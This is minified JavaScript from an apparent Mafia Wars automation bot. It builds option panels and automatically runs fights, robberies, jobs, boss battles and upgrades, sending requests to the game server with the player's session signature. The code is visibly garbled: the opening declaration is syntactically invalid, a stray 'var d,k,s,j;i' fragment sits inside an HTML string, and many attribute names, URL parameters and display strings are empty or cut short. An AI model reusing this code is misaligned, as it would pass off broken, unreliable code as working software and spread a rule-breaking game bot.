(function () {
  var iops = User.trackId,

    function Vb() {
      function Y(d) {
        return 'remote/html_server.php?xw_controller=fight&xw_action=attack_pop&view_style=html&opponent_id=p|' + d + '&origin=fight_page&clkdiv=btn_attack_p' + d + ''
      }

      function L(d, c, a, b) {
        var e = "";
        0 < b ? (a && (w && w.$f && !w.$f[b]) && w.zj(b, a), e += ha(b, a ? a : "?") + " ") : a && (e += a + " ");
        c ? e += '<a href="remote/html_server.php?xw_controller=stats&xw_action=view&user=' + c + '&ref=fight_list" class="mw_new_ajax" selector="#inner_page"><span style="display:inline;">' + (d ? d : c) + '</span></a>' : d && (e += d);
        return e
      }

      function ha(d, c, a) {
        return '<a href="remote/html_server.php?xw_controller=clan&xw_action=view&from_red_link=1&id=' + sb(d.toString()) + '" class="mw_new_ajax" selector="#inner_page">' + (c ? '' + c + '</span>' + (a ? " " : "") : "") + (a ? '<span style="display:inline-block;white-space:nowrap;">' + a + '</span>' : "") + '</a>'
      }

      function aa(d, c, a) {
        return '<div style="padding:10px;"><div class="module_subtitle"><span id="%ID%_' + c + '_toggle" class="tab_subtitle">' + d + tb + '</span></div><div id="%ID%_' + c + '">' + (a ? a : "") + '</div></div><div class="module_seperator"/>'
      }

      function ba(d, c, a) {
        return '<fieldset id="%ID%_' + c + '"><legend>' + d + '</legend>' + a + '</fieldset>'
      }

      function ma(d, c) {
        return '<div id="%ID%_' + d + '">' + c + '</div>'
      }

      function oa(d, c, a, b) {
        return a ? 'var d,k,s,j;i' + a + '">' + ('<input type="checkbox" id="%ID%_' + c + '"/> <span id="%ID%_' + c + '_data"><label for="%ID%_' + c + '" id="%ID%_' + c + '' + d + '</label>' + (b ? b : "") + '</span>') + '</abbr>' : '<input type="checkbox" id="%ID%_' + c + '"/> <span id="%ID%_' + c + '_data"><label for="%ID%_' + c + '" id="%ID%_' + c + '' + d + '</label>' + (b ? b : "") + '</span>'
      }

      function t(d, c, a, b) {
        return oa(d, c, a, b) + '<br/>'
      }

      function Ha(d, c) {
        c ? ($("#" + d)
          .removeAttr(''), $("#" + d)
          .removeClass('opacity_50'), $("#" + d + '')
          .removeClass('opacity_50')) : ($("#" + d)
          .attr('', ''), $("#" + d)
          .addClass('opacity_50'), $("#" + d + '')
          .addClass('opacity_50'))
      }

      function v(d, c) {
        c ? $("#" + d)
          .removeClass('opacity_50') : $("#" + d)
          .addClass('opacity_50')
      }

      function Ya(d, c) {
        var a = '<select id="%ID%_' + d + '">',
          b;
        for (b in c) c.hasOwnProperty(b) && (a += '<option value="' + b + '">' + c[b] + '</option>');
        return a + '</select>'
      }

      function fb(d, c) {
        var a = Math.max($(d)
          .height(), $(c)
          .height());
        a && ($(d)
          .height(a), $(c)
          .height(a))
      }

      function sb(d) {
        var c;
        try {
          c = Za(btoa(d))
        } catch (a) {
          c = ""
        }
        return c
      }

      function Ka(d) {
        var c;
        try {
          c = atob(decodeURIComponent(d))
        } catch (a) {
          c = ""
        }
        return c
      }

      function Za(d) {
        return d === m || d === f ? "" : encodeURIComponent(d.toString())
      }

      function sa(d) {
        if (3600 <= d) {
          var c = Math.floor(d / 60) % 60,
            d = Math.floor(d / 3600);
          return d + ' hour' + (1 == d ? "" : "s") + (c ? " " + c + ' minute' + (1 == c ? "" : "s") : "")
        }
        return 60 <= d ? (d = Math.floor(d / 60), d + ' minute' + (1 == d ? "" : "s")) : d + ' second' + (1 == d ? "" : "s")
      }

      function A(d, c) {
        return '<span class="good">' + d + '</span>' + (c ? " " + c : "")
      }

      function p(d, c) {
        return '<span class="bad">' + d + '</span>' + (c ? " " + c : "")
      }

      function ta(d) {
        return '<span class="more_in">' + d + '</span>'
      }

      function Da(d) {
        return '<span class="stat_info more_in">' + d + '</span>'
      }

      function Oa(d) {
        return 0 < d ? '' + l(d) + ']</span>' : 0 > d ? '<span class="bad stat_info more_in">[' + l(d) + ']</span>' : '<span class="stat_info more_in">[0]</span>'
      }

      function U(d, c, a, b) {
        return '<a href="#0" ' + (b ? 'id="%ID%_' + b + '" ' : "") + (a ? 'data-id="' + a + '" ' : "") + 'class="' + (c ? c : "") + ' sexy_button_new shorter black narrow_sexy_button"><span><span>' + d + '</span></span></a>'
      }

      function nb(d) {
        return 0 === d % 5 ? 'Milestone' : 'Bonus'
      }

      function ub() {
        var d;
        this.ci = this.Af = this.zf = this.Vf = this.Yb = this.Y = this.bh = this.Of = this.Ri = this.Ak = this.Sh = this.kc = this.Do = this.Ca = this.qh = this.bg = this.sh = this.ca = this.rh = this.Jb = this.he = this.ge = 0;
        this.I = "";
        this.co = 0;
        this.m = [];
        for (d = 1; 10 > d; d++) this.m[d] = {
          m: 0,
          lf: 0
        }
      }

      function o(d) {
        d = parseInt(d, 10);
        return isNaN(d) ? 0 : d
      }

      function vb(d) {
        d = parseFloat(d);
        return isNaN(d) ? 0 : d
      }

      function La(d) {
        return d.replace(/<\/?[^>]+(>|$)/g, "")
      }

      function q(d) {
        return $(d)
          .prop('checked') ? g : F
      }

      function r(d, c) {
        $(d)
          .prop('checked', c)
      }

      function u(d, c) {
        $(d)
          .val(c)
      }

      function C(d, c, a) {
        c = Math.max(o($(d)
          .val()), c ? c : 0);
        a && (c = Math.min(c, a));
        u(d, c);
        return c
      }

      function n(d) {
        Ia.log(d)
      }

      function B(d) {
        Ia.error(d)
      }

      function Ca(d) {
        Ia.debug(d)
      }

      function Wb() {
        Ga.qo()
      }

      function gb(d, c) {
        var a, b, e;
        if (d) {
          a = d.oj;
          for (b in Ja) Ja.hasOwnProperty(b) && (e = Ja[b], (a & 1) === (e.oj & 1) && (e === d ? !e.X || c ? ($("#" + e.id + '_show')
            .attr('class', 'tab tab_active_op'), $("#" + e.id)
            .show(), e.X = g, e.update && e.update()) : ($("#" + e.id)
            .hide(), $("#" + e.id + '_show')
            .attr('class', 'tab tab_inactive_op'), e.X = F) : ($("#" + e.id)
            .hide(), $("#" + e.id + '_show')
            .attr('class', 'tab tab_inactive_op'), e.X = F)));
          V.Ra()
        }
        return F
      }

      function Kb() {
        if (ca()) for (var d in Ja) Ja.hasOwnProperty(d) && Ja[d].X && Ja[d].update && Ja[d].update()
      }

      function Pa(d, c, a) {
        if (d.xa !== c || d.mj !== a) {
          var b = c;
          a && (b += ' <span style="vertical-align:1px;font-size:12px;">(' + l(a) + ')</span>');
          d.xa = c;
          d.mj = a;
          Qa(d.nj) && d.nj.html(b)
        }
      }

      function ia(d, c) {
        var a = $("#" + d),
          b = c ? $("#" + c) : m;
        if (a.is(':visible')) return a.hide(), b && b.html(b.html()
          .replace(tb, Lb)), V.Ra(), F;
        a.show();
        b && b.html(b.html()
          .replace(Lb, tb));
        V.Ra();
        return g
      }

      function va() {
        return Math.floor((new Date)
          .getTime() / 1E3)
      }

      function l(d) {
        return d.toString()
          .replace(/\B(?=(\d{3})+(?!\d))/g, ",")
      }

      function da(d) {
        return d && Infinity !== d ? o(d.toString()
          .replace(/[^\d\.]/g, "")) : 0
      }

      function H(d, c) {
        return 'undefined' !== typeof c ? $.extend(g, d, c) : d
      }

      function Mb(d) {
        return d ? $('<textarea/>')
          .html(d)
          .val() : ""
      }

      function Qa(d) {
        return 0 !== $(d)
          .length
      }

      function wb(d) {
        this.type = 'POST';
        this.data = this.url = m;
        this.dataType = 'html';
        this.beforeSend = m;
        this.cache = F;
        this.dataFilter = this.complete = m;
        this.global = F;
        this.timeout = 15E3;
        this.vg = this.Zf = f;
        this.hi = this.Lh = F;
        this.queue = d
      }

      function $a(d) {
        this.Db = [];
        this.Re = 0;
        this.El = d;
        this.Ui = 0;
        this.vi = F
      }

      function G(d, c) {
        Nb++;
        for (var a = ab + '/remote/html_server.php?' + d + '&xw_city=' + (c ? c : i.Ca) + '&cb=', b = "", e = 0; 32 > e; e++) b += Math.floor(16 * Math.random())
          .toString(16);
        a = a + b + '&js=1&isajax=1&no_load=1&xw_person=' + hb + '&xw_client_id=8&clicks=' + Nb;
        (b = decodeURIComponent(a)) || n(p('Build URL Failure', a));
        return b
      }

      function Ob() {
        xb !== local_xw_sig && (xb = local_xw_sig, Ca(A('Updated Signature', local_xw_sig)));
        return 'ajax=1&liteload=1&skip_req_frame=1&sf_xw_user_id=' + yb + '&sf_xw_sig=' + local_xw_sig
      }

      function bb(d, c, a) {
        try {
          var b, e;
          b = 'string' === typeof c ? d.indexOf(c) : d.search(c);
          if (-1 === b) return B(p('Find Data', 'Unable to find start pattern')), m;
          d = d.slice(b);
          if (a) {
            e = 'string' === typeof a ? d.indexOf(a) : d.search(a);
            if (-1 === e) return B(p('Find Data', 'Unable to find end pattern')), m;
            d = d.slice(0, e)
          }
          return d
        } catch (wa) {
          return B(p('Find Data', wa)), m
        }
      }

      function zb(d) {
        var c = /\?next_params=(.+)/.exec(d);
        c && (d = Ka(c[1]));
        d = d.replace(/&amp;/g, "&");
        d = d.replace(/&quot;/g, '"');
        d = d.replace(/\+/g, " ");
        d = d.replace(/%22/g, '"');
        d = d.replace(/%2C/g, ",");
        d = d.replace(/%3A/g, ":");
        d = d.replace(/%7B/g, "{");
        d = d.replace(/%7C/g, "|");
        return d = d.replace(/%7D/g, "}")
      }

      function Ab() {}

      function Ea() {
        this.Pa()
      }

      function ua() {
        this.clear()
      }

      function J() {}

      function Ra(d) {
        this.Eo = d;
        this.r = m;
        this.u = 0;
        this.v = F
      }

      function O(d, c) {
        var a = this;
        H(a, J.prototype);
        a.Pa(d, c);
        a.clip = m;
        a.g = [];
        a.g[0] = new Ra(0);
        a.g[1] = new Ra(1);
        a.g[2] = new Ra(2);
        a.g[3] = new Ra(3);
        a.g[4] = new Ra(4);
        a.g[5] = new Ra(5);
        a.g[6] = new Ra(6);
        O.prototype.Rf = function (a, e) {
          Qa(a) && ($(a)
            .remove(), Qa(e) && $(e)
            .css({
            filter: "100",
            opacity: "100"
          }))
        }
        O.prototype.Sf = function (a) {
          Qa(a) && $(a)
            .hide()
            .html("")
            .remove()
        }
        O.prototype.qj = function () {
          try {
            a.b.hd ? (a.Sf('#mw_like_button'), a.Sf('#cpa_fights_banner'), a.Sf('#cpa_jobs_banner'), a.Sf('#clanChat'), $('#snapi_zbar') && $('#snapi_zbar')
              .parent("div")
              .hide(), $('#zbar') && $('#zbar')
              .parent("div")
              .hide(), $('iframe[name=mafiawars_zbar]') && $('iframe[name=mafiawars_zbar]')
              .parent("div")
              .hide(), $('div[class=footer_text]') && $('div[class=footer_text]')
              .hide(), $('#final_wrapper div')
              .filter('div:last') && $('#final_wrapper div')
              .filter('div:last')
              .hide(),
            $('div[class=level_stat]') && $('div[class=level_stat]')
              .css('min-width', '60px')) : ($('#snapi_zbar') && $('#snapi_zbar')
              .parent("div")
              .show(), $('#zbar') && $('#zbar')
              .parent("div")
              .show(), $('iframe[name=mafiawars_zbar]') && $('iframe[name=mafiawars_zbar]')
              .parent("div")
              .show(), $('div[class=footer_text]') && $('div[class=footer_text]')
              .show(), $('#final_wrapper div')
              .filter('div:last') && $('#final_wrapper div')
              .filter('div:last')
              .show())
          } catch (b) {}
        }
        O.prototype.pj = function () {
          a.b.gd && (a.Rf('#subscription_icon_container', '#subscription_icon_cover'), a.Rf('#buyframe_link_container_anim', '#buyframe_link_cover_anim'), a.Rf('#arena_icon_container', '#arena_icon_cover'), a.Rf('#free_gift_swf_icon_container', '#free_gift_swf_icon_cover'), $('#arena_icon_cover > a > div')
            .html('<img src="' + xa + '/img/arena_icon.png"/>'))
        }
        O.prototype.yc = function (b, e) {
          a.g[e].v = q(b);
          a.l();
          a.c();
          return g
        }
        O.prototype.Bc = function (b, e) {
          a.g[e].u = C(b);
          a.l();
          a.c();
          return g
        }
        O.prototype.Ol = function (b) {
          a.b.v = C(b);
          0 === a.b.v ? (a.g[1].u = 9, a.g[2].u = 2, a.g[0].u = 1, a.g[3].u = 0) : (a.g[1].u = 9, a.g[3].u = 2, a.g[2].u = 1, a.g[0].u = 0);
          a.c();
          return g
        }
        O.prototype.l = function () {
          v(c + '_hide_zbar_data', a.b.hd);
          v(c + '_hide_icons_data', a.b.gd);
          v(c + '_run_arena_data', a.b.Se);
          v(c + '_autorun_fight_data', a.g[0].v);
          v(c + '_autorun_bank_data', a.g[1].v);
          v(c + '_autorun_rob_data', a.g[2].v);
          v(c + '_autorun_boss_data', a.g[4].v);
          v(c + '_autorun_jobs_data', a.g[3].v);
          v(c + '_autorun_upgrades_data', a.g[6].v);
          v(c + '_autorun_arena_data', a.g[5].v)
        }
        O.prototype.sm = function (b) {
          a.b.hd = q(b);
          a.l();
          a.qj();
          a.c();
          return g
        }
        O.prototype.rm = function (b) {
          a.b.gd = q(b);
          a.l();
          a.pj();
          a.c();
          return g
        }
        O.prototype.cn = function (b) {
          a.b.Se = q(b);
          a.l();
          a.c();
          return g
        }
        O.prototype.c = function () {
          var b = {};
          b.thread_count = a.b.ag;
          b.hide_rewardville = a.b.hd;
          b.hide_icons = a.b.gd;
          b.run_arena = a.b.Se;
          b.autorun_bank = a.g[1].v;
          b.autorun_fight = a.g[0].v;
          b.autorun_rob = a.g[2].v;
          b.autorun_boss = a.g[4].v;
          b.autorun_jobs = a.g[3].v;
          b.autorun_upgrades = a.g[6].v;
          b.autorun_arena = a.g[5].v;
          b.autorun = a.b.v;
          b.priority_bank = a.g[1].u;
          b.priority_fight = a.g[0].u;
          b.priority_rob = a.g[2].u;
          b.priority_boss = a.g[4].u;
          b.priority_jobs = a.g[3].u;
          b.priority_upgrades = a.g[6].u;
          b.priority_arena = a.g[5].u;
          ya(c, b)
        }
        O.prototype.S = function () {
          a.ha();
          try {
            var b = {}, e = za(c);
            e && (b.ag = e.thread_count, b.hd = e.hide_rewardville, b.gd = e.hide_icons, b.Se = e.run_arena, a.g[1].v = e.autorun_bank, a.g[0].v = e.autorun_fight, a.g[2].v = e.autorun_rob, a.g[4].v = e.autorun_boss, a.g[3].v = e.autorun_jobs, a.g[6].v = e.autorun_upgrades, a.g[5].v = e.autorun_arena, b.v = e.autorun, a.g[1].u = e.priority_bank, a.g[0].u = e.priority_fight, a.g[2].u = e.priority_rob, a.g[4].u = e.priority_boss, a.g[3].u = e.priority_jobs, a.g[6].u = e.priority_upgrades, a.g[5].u = e.priority_arena, 0 === b.v ? (a.g[1].u = 9, a.g[2].u = 2, a.g[0].u = 1, a.g[3].u = 0) : (a.g[1].u = 9, a.g[3].u = 2, a.g[2].u = 1, a.g[0].u = 0));
            H(a.b, b)
          } catch (wa) {}
          a.b.ag = 8;
          r("#" + c + '_hide_zbar',
          a.b.hd);
          r("#" + c + '_hide_icons', a.b.gd);
          r("#" + c + '_run_arena', a.b.Se);
          r("#" + c + '_autorun_bank', a.g[1].v);
          u("#" + c + '_priority_bank', a.g[1].u);
          r("#" + c + '_autorun_rob', a.g[2].v);
          u("#" + c + '_priority_rob', a.g[2].u);
          r("#" + c + '_autorun_fight', a.g[0].v);
          u("#" + c + '_priority_fight', a.g[0].u);
          r("#" + c + '_autorun_boss', a.g[4].v);
          u("#" + c + '_priority_boss', a.g[4].u);
          r("#" + c + '_autorun_jobs', a.g[3].v);
          u("#" + c + '_priority_jobs', a.g[3].u);
          r("#" + c + '_autorun_upgrades', a.g[6].v);
          u("#" + c + '_priority_upgrades', a.g[6].u);
          r("#" + c + '_autorun_arena',
          a.g[5].v);
          u("#" + c + '_priority_arena', a.g[5].u);
          u("#" + c + '_autorun', a.b.v);
          a.l()
        }
        O.prototype.ik = function () {
          Bb = g;
          P = {
            name: Cb + ' Backup',
            version: ob,
            time: o((new Date)
              .getTime() / 1E3),
            data: {}
          };
          q("#" + c + '_export_options') && ja.c();
          q("#" + c + '_export_fight') && pa.c();
          q("#" + c + '') && qa.c();
          q("#" + c + '') && Sa.c();
          q("#" + c + '') && W.c();
          q("#" + c + '') && Ga.c();
          q("#" + c + '') && w.c();
          q("#" + c + '') && w.Ze();
          q("#" + c + '') && V.c();
          Bb = F;
          var b = 0,
            e;
          for (e in P.data) P.data.hasOwnProperty(e) && b++;
          if (b) {
            b = JSON.stringify(P);
            try {
              b = btoa(pb.Mh(b))
            } catch (wa) {
              n(wa), b = ""
            }
            for (e = []; b;) if (70 > b.length) {
              e.push(b);
              break
            } else e.push(b.substr(0, 70)), b = b.substr(70);
            $("#" + c + '_backup_data')
              .val(e.join("\n"))
          } else $("#" + c + '_backup_data')
            .val("");
          a.clip || (ZeroClipboard.setMoviePath(ab + '/js/lib/ZeroClipboard.swf'), a.clip = new ZeroClipboard.Client, a.clip.glue(c + '_export3_copy'), a.clip.addEventListener('onComplete', function () {
            $("#" + c + '_export3_copy_text')
              .html('Copied')
          }));
          $("#" + c + '_export3_copy_text')
            .html('Copy');
          a.clip && (a.clip.setText($("#" + c + '_backup_data')
            .val()), a.clip.hide(), a.clip.show());
          P = m
        }
        O.prototype.Uj = function () {
          var a = $("#" + c + '_restore_data')
            .val(),
            a = $.trim(a.replace(/[\r\n]/g, ""));
          try {
            P = JSON.parse(pb.Eh(atob(a)))
          } catch (e) {
            P = m
          }
          a = P && P.data;
          Ha(c + '_import_options', a && P.data.demon_options);
          r("#" + c + '_import_options', F);
          Ha(c + '_import_fight', a && P.data.demon_fight);
          r("#" + c + '_import_fight', F);
          Ha(c + '_import_rob', a && P.data.demon_rob);
          r("#" + c + '_import_rob', F);
          Ha(c + '_import_boss', a && P.data.demon_boss);
          r("#" + c + '_import_boss', F);
          Ha(c + '_import_job', a && P.data.demon_job);
          r("#" + c + '_import_job', F);
          Ha(c + '_import_upgrade', a && P.data.demon_upgrade);
          r("#" + c + '_import_upgrade', F);
          Ha(c + '_import_ignored', a && P.data.demon_opponents);
          r("#" + c + '_import_ignored', F);
          Ha(c + '_import_favorites', a && P.data.demon_favorites);
          r("#" + c + '_import_favorites', F);
          Ha(c + '_import_ices', a && P.data.demon_ices);
          r("#" + c + '_import_ices', F);
          P = m
        }
        O.prototype.lk = function () {
          Db = g;
          var a = $("#" + c + '_restore_data')
            .val(),
            a = $.trim(a.replace(/[\r\n]/g, ""));
          try {
            P = JSON.parse(pb.Eh(atob(a)))
          } catch (e) {
            P = m
          }
          q("#" + c + '_import_options') && ja.S();
          q("#" + c + '_import_fight') && pa.S();
          q("#" + c + '_import_rob') && qa.S();
          q("#" + c + '_import_boss') && Sa.S();
          q("#" + c + '_import_job') && W.S();
          q("#" + c + '_import_upgrade') && Ga.S();
          q("#" + c + '_import_ignored') && w.S();
          q("#" + c + '_import_favorites') && w.Xi();
          q("#" + c + '_import_ices') && V.S();
          Db = F;
          P = m;
          q("#" + c + '_import_options') && ja.c();
          q("#" + c + '_import_fight') && pa.c();
          q("#" + c + '_import_rob') && qa.c();
          q("#" + c + '_import_boss') && Sa.c();
          q("#" + c + '_import_job') && W.c();
          q("#" + c + '_import_upgrade') && Ga.c();
          q("#" + c + '_import_ignored') && w.c();
          q("#" + c + '_import_favorites') && w.Ze();
          q("#" + c + '_import_ices') && V.c()
        }
        O.prototype.Kg = function () {
          MW.Popup.hide(c + '_backup_pop');
          Eb = F;
          a.clip && (a.clip.hide(), a.clip.setText(""));
          $("#" + c + '_restore_data')
            .val("");
          $("#" + c + '_backup_data')
            .val("");
          V.Ra();
          return F
        }
        O.prototype.aa = function () {
          fb("#" + c + '_div_display', "#" + c + '_div_autorun')
        }
        O.prototype.Il = function () {
          return x.Yf ? F : pa.f || ga.f || qa.f || Sa.f || W.f || Pb.f ? g : F
        }
        O.prototype.wo = function () {
          x.Yf = F;
          setTimeout(function () {
            a.d = a.Il() ? 25 : 26;
            a.o()
          }, 1E4)
        }
        O.prototype.Ij = function () {
          a.f = g;
          n(A('Mafia Wars', 'Version ' + (new Date(1E3 * User.bt))
            .toUTCString()));
          n(A('<span class="' + Qb + '"/> ' + Cb, 'Version ' + ob + " / " + (new Date(1358201651E3))
            .toUTCString()));
          if ($ && $.fn && $.fn.jquery) {
            var b = A('jQuery', 'Version ' + $.fn.jquery);
            $.ui && $.ui.version && (b += " " + A('jQuery UI', 'Version ' + $.ui.version));
            n(b)
          } else n(p('jQuery', 'Not Found'));
          a.qj();
          a.pj();
          a.d = 1;
          a.o()
        }
        O.prototype.o = function () {
          1 === a.d ? (a.G = 6, a.Ib()) : 6 === a.d ? (Fb.Mj(), a.d = 22, a.o()) : 22 === a.d ? (a.G = 21, a.ri()) : 21 === a.d ? (a.G = 20, a.ol()) : 20 === a.d ? (a.G = 26, a.kl()) : 25 === a.d ? (a.G = 26, a.Ib()) : 26 === a.d && a.wo()
        }
        a.V();
        a.S()
      }

      function N(d, c) {
        var a = this;
        H(a, J.prototype);
        a.Pa(d, c);
        a.K = ja.g[2];
        a.K.r = a;
        a.Vg = [];
        a.Wb = [];
        a.Ia = [];
        a.T = [];
        a.Dc = 0;
        a.Wg = 0;
        a.Ed = F;
        a.Xb = 0;
        a.lb = 0;
        a.Yi = 0;
        a.Zi = m;
        a.na = [];
        a.la = m;
        a.bb = g;
        a.U = m;
        a.w = {
          oa: 0
        };
        a.Xe = 0;
        a.gh = 0;
        a.ih = 0;
        a.jh = 0;
        a.hh = 0;
        a.mb = 0;
        a.R = 0;
        a.wc = [];
        N.prototype.ga = function () {
          a.f || (a.Ed = F, a.Xb = 0, a.la === m && (a.la = setInterval(function () {
            a.w.oa++;
            a.M()
          }, 1E3)), a.Cc());
          return F
        }
        N.prototype.l = function () {
          v(c + '_rob_squads_data', a.b.lb);
          v(c + '_ratio_min_data', a.b.yd)
        }
        N.prototype.ka = function () {
          clearInterval(a.la);
          a.la = m;
          a.Ga();
          return F
        }
        N.prototype.Ul = function (b) {
          a.b.j = C(b);
          a.c();
          return g
        }
        N.prototype.bn = function (b) {
          a.b.lb = q(b);
          a.l();
          a.c();
          return g
        }
        N.prototype.Tm = function (b) {
          a.b.yd = q(b);
          a.l();
          a.c();
          return g
        }
        N.prototype.Um = function (b) {
          a.b.Qe = vb($(b)
            .val());
          a.c();
          return g
        }
        N.prototype.Hm = function (b) {
          a.b.Fe = C(b, 1, 9);
          a.c();
          return g
        }
        N.prototype.ha = function () {
          a.b = {
            j: 1,
            Fe: 5,
            lb: F,
            yd: F,
            Qe: 2.2
          }
        }
        N.prototype.S = function () {
          a.ha();
          try {
            var b = {}, e = za(c);
            b.j = e.city;
            b.Fe = e.max_properties;
            b.lb = e.rob_squads;
            b.yd = e.ratio_min;
            b.Qe = e.ratio_min_value;
            H(a.b, b)
          } catch (wa) {}
          u("#" + c + '_rob_city', a.b.j);
          u("#" + c + '_max_properties', a.b.Fe);
          r("#" + c + '_rob_squads', a.b.lb);
          r("#" + c + '_ratio_min', a.b.yd);
          u("#" + c + '_ratio_min_value', a.b.Qe);
          a.l()
        }
        N.prototype.aa = function () {
          a.M()
        }
        N.prototype.V = function () {
          ra(a, aa('Options', 'options', '<div style="float:left;width:280px;">Rob properties in <select id="%ID%_rob_city">' + Rb + '</select><br/>Rob up to <input type="text" style="width:20px;" id="%ID%_max_properties"/> properties at once<br/></div><div style="float:left;">' + t('Use Rob Squads', 'rob_squads', f, ' <span class="more_in" id="%ID%_rob_squads_left"/>') + t('Pause when ratio is below', 'ratio_min', f, ' <input type="text" style="width:30px;" id="%ID%_ratio_min_value"/>') + '</div><div style="clear:both;"/>') + aa('Stats', 'stats') + '<div style="padding:10px;">' + Ta + Ua + Va + Wa + '</div>', 5, function () {
            a.aa()
          });
          $("#" + c + '_options_toggle')
            .click(function () {
            ia(c + '_options', c + '_options_toggle');
            return F
          });
          $("#" + c + '_stats_toggle')
            .click(function () {
            a.bb = ia(c + '_stats', c + '_stats_toggle');
            a.M();
            return F
          });
          $("#" + c + '_start')
            .click(function () {
            return a.ga()
          });
          $("#" + c + '_stop')
            .click(function () {
            return a.ka()
          });
          $("#" + c + '_cancel')
            .click(function () {
            return a.zc()
          });
          $("#" + c + '_rob_city')
            .change(function () {
            return a.Ul(this)
          });
          $("#" + c + '_max_properties')
            .change(function () {
            return a.Hm(this)
          });
          $("#" + c + '_rob_squads')
            .click(function () {
            return a.bn(this)
          });
          $("#" + c + '_ratio_min')
            .click(function () {
            return a.Tm(this)
          });
          $("#" + c + '_ratio_min_value')
            .change(function () {
            return a.Um(this)
          });
          a.Zi = $("#" + c + '_rob_squads_left');
          a.Fb()
        }
        N.prototype.M = function () {
          if (ca() && (a.X && a.bb) && (a.U || (a.U = $("#" + c + '_stats')), a.U)) {
            var b = "";
            if (a.Xe) {
              var e,
              b = b + ('<span class="stamina">' + a.mb + '' + a.R + '</span> <span class="stat_info more_in">[' + parseFloat(a.R / a.mb)
                .toFixed(2) + '/sta]</span><br/>');
              for (e in a.wc) a.wc.hasOwnProperty(e) && 0 < a.wc[e] && (b += '<span class="cash">' + e + l(a.wc[e]) + '</span><br/>');
              b += 'Robberies <span class="good">' + a.Xe + '</span> Won <span class="good">' + a.jh + '</span> <span class="stat_info more_in">[' + o(100 * a.jh / a.Xe) + '' + a.ih + '</span> <span class="stat_info more_in">[' + o(100 * a.ih / a.Xe) + '%]</span><br/>';
              b += 'Boards <span class="good">' + a.gh + '</span> Perfect ' + a.hh + ' <span class="stat_info more_in">[' + o(100 * a.hh / a.gh) + '%]</span><br/>';
              for (e in a.na) a.na.hasOwnProperty(e) && (b += '<span class="stamina">' + a.na[e].p + '</span> ' + a.na[e].$n + ' <span class="good">Won ' + a.na[e].yf + '' + a.na[e].xg + '</span> <span class="stat_info more_in">[' + parseFloat(a.na[e].xg / a.na[e].p)
                .toFixed(2) + '/sta]</span> <span class="bad">Lost ' + a.na[e].hg + '' + a.na[e].ig + '</span> <span class="stat_info more_in">[' + parseFloat(a.na[e].ig / a.na[e].p)
                .toFixed(2) + '/sta]</span> <span class="stat_info more_in">[' + o(100 * a.na[e].yf / o(a.na[e].yf + a.na[e].hg)) + '% won]</span><br/>')
            }
            a.w.oa && (b += 'Running for: ' + sa(a.w.oa));
            a.U.html(b);
            V.Ra()
          }
        }
        N.prototype.Qg = function (b, e, c) {
          var d = F,
            k = F,
            s = 0,
            j = 0,
            j = 0,
            s = "?";
          if (b) if (j = a.na[a.Ia[c]], j || (a.na[a.Ia[c]] = {
            yf: 0,
            hg: 0,
            $n: a.Ia[c],
            p: a.Wb[c],
            xg: 0,
            ig: 0
          }, j = a.na[a.Ia[c]]), -1 !== b.indexOf('rob_res_success') ? (a.jh++, j.yf++, k = d = g) : -1 !== b.indexOf('rob_res_fail') && (a.ih++, j.hg++, d = F, k = g), k) {
            if (k = /(\d+) Experience/.exec(b)) s = o(k[1].replace(/[^0-9]/g, "")), a.R += s, d ? j.xg = s : j.ig = s;
            if (k = /($|C$|R$|B$|V$|L$|BRL$|\u00a2|\u00a3)([\d,]+)/.exec(b)) s = k[1], j = da(k[2]), a.wc[s] = a.wc[s] ? a.wc[s] + j : j;
            (k = /item_id="(\d+)"/.exec(b)) ? X.ac(o(k[1])) : (k = /rob_res_expanded_details_item">(\d+) ([^<]+)</.exec(b)) ? X.ef(k[2], o(k[1])) : (k = /(\/mwfb\/graphics\/collections\/[^"]+)/.exec(b)) && X.ie(k[1].substring(k[1].lastIndexOf("/") + 1));
            a.Xe++;
            a.mb += o(a.Wb[c])
          } else B(p('Problem Robbing ' + a.Ia[c], 'Error robbing property'));
          e && ((k = /(\d+) Bonus Experience/.exec(e)) ? (a.gh++, j = k[1].replace(/[^0-9]/g, ""), a.R += o(j), a.Ed = g, a.Xb = 0, /Your record on this board was 9-0/.test(e) && a.hh++, (k = /item_id="(\d+)"/.exec(e)) ? X.ac(o(k[1])) : (k = /rob_res_expanded_details_item">(\d+) ([^<]+)</.exec(e)) ? X.ef(k[2], o(k[1])) : (k = /(\/mwfb\/graphics\/collections\/[^"]+)/.exec(e)) && X.ie(k[1].substring(k[1].lastIndexOf("/") + 1))) : -1 !== e.indexOf('do not have enough stamina to rob all remaining') ? n(p('Problem Robbing Properties', 'Need more Stamina')) : -1 !== e.indexOf('') && b && n(p('Problem Robbing ' + a.Ia[c], 'Need more Stamina')), a.M())
        }
        N.prototype.Ug = function (b) {
          a.f && E.J(decodeURIComponent(ab + "/" + a.Vg[a.T[b]]), function (e) {
            a.oo(e, b)
          })
        }
        N.prototype.oo = function (b, e) {
          var c;
          if (a.L(b)) if (200 == b.status) {
            try {
              (c = JSON.parse(b.responseText)) && a.Qg(c.slot, c.popup, a.T[e])
            } catch (d) {
              B(p('Problem Robbing ' + a.Ia[a.T[e]], d)), c = m
            }
            a.Wg++;
            a.Wg >= a.T.length ? (c && x.eb(c), a.d = a.G, a.o()) : a.Dc < a.T.length && (a.Ug(a.Dc), a.Dc++)
          } else B(p('Problem Robbing ' + a.Ia[a.T[e]], b.status)), a.Ug(e)
        }
        N.prototype.mo = function () {
          a.f && E.J(G(''), function (b) {
            a.no(b)
          })
        }
        N.prototype.no = function (b) {
          var e;
          if (a.L(b)) {
            if (a.P(b, 'Problem Robbing Properties')) try {
              if (e = JSON.parse(b.responseText)) {
                var c;
                for (c = 0; c < a.T.length; c++) e.slots[a.T[c]] && a.Qg(e.slots[a.T[c]], m, a.T[c]);
                a.Qg(m, e.popup);
                x.eb(e)
              }
            } catch (d) {
              B(p('Problem Robbing Properties', d))
            }
            a.d = a.G;
            a.o()
          }
        }
        N.prototype.sl = function () {
          a.f && (a.k('Loading Robbing Page…'), E.J(G('xw_controller=robbing&xw_action=view'),

          function (b) {
            a.$i(b)
          }))
        }
        N.prototype.Ti = function () {
          a.f && (a.k('Refreshing Robbing Page…'), E.J(G(''), function (b) {
            a.$i(b)
          }))
        }
        N.prototype.$i = function (b) {
          if (a.L(b)) {
            a.Dc = 0;
            a.Wg = 0;
            a.Ed = F;
            a.Xb = 0;
            a.Vg = [];
            a.Ia = [];
            a.Wb = [];
            a.T = [];
            if (a.P(b, 'Problem Loading Properties')) {
              x.Ha(b);
              var e = /robAllHelper\((\d+), (\d+)/.exec(b.responseText);
